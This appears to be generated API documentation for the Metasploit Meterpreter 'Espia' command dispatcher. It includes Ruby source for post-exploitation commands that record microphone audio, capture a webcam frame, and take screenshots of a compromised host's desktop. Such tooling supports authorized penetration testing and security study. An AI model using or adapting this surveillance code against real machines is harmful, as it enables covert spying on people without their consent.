Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Espia

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb

Overview

Espia - Capture audio, video, screenshots from the remote system

Constant Summary collapse

Klass =
Console::CommandDispatcher::Espia

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_tabs, #print, #print_error, #print_good, #print_line, #print_status, #tab_complete_filenames, #update_prompt

Constructor Details

#initialize(shell) ⇒ Espia

Initializes an instance of the espia command interaction.



22
23
24
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb', line 22

def initialize(shell)
	super
end

Instance Method Details

#cmd_dev_audio(*args) ⇒ Object



44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb', line 44

def cmd_dev_audio(*args)
	maxrec = 60

	if (args.length < 1)
		print_line("Usage: dev_audio <rec_secs>\n")
		print_line("Record mic audio\n")
		return true
	end

	secs = args[0].to_i
	if secs  > 0 and secs <= maxrec
		milsecs = secs*1000
		print_line("[*] Recording #{milsecs} miliseconds.\n")
		client.espia.espia_audio_get_dev_audio(milsecs)
		print_line("[*] Done.")
	else
		print_line("[-] Error: Recording time 0 to 60 secs \n")
	end

	return true
end

#cmd_dev_imageObject



37
38
39
40
41
42
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb', line 37

def cmd_dev_image()
	client.espia.espia_video_get_dev_image()
	print_line("[*] Done.")

	return true
end

#cmd_screengrab(*args) ⇒ Object

Grab a screenshot of the current interactive desktop.



69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb', line 69

def cmd_screengrab( *args )
	if( args[0] and args[0] == "-h" )
		print_line("Usage: screengrab <path.jpeg> [view in browser: true|false]\n")
		print_line("Grab a screenshot of the current interactive desktop.\n")
		return true
	end
	
	show = true
	show = false if (args[1] and args[1] =~ /^(f|n|0)/i)
	
	path = args[0] || Rex::Text.rand_text_alpha(8) + ".jpeg"
	
	data = client.espia.espia_image_get_dev_screen
	
	if( data )
		::File.open( path, 'wb' ) do |fd|
			fd.write( data )
		end
		path = ::File.expand_path( path )
		print_line( "Screenshot saved to: #{path}" )
		Rex::Compat.open_file( path ) if show
	end
	
	return true
end

#commandsObject

List of supported commands.



29
30
31
32
33
34
35
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb', line 29

def commands
	{
#		"dev_image"  => "Attempt to grab a frame from webcam",
#		"dev_audio"  => "Attempt to record microphone audio",
		"screengrab" => "Attempt to grab screen shot from process's active desktop"
	}
end

#nameObject

Name for this dispatcher



98
99
100
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb', line 98

def name
	"Espia"
end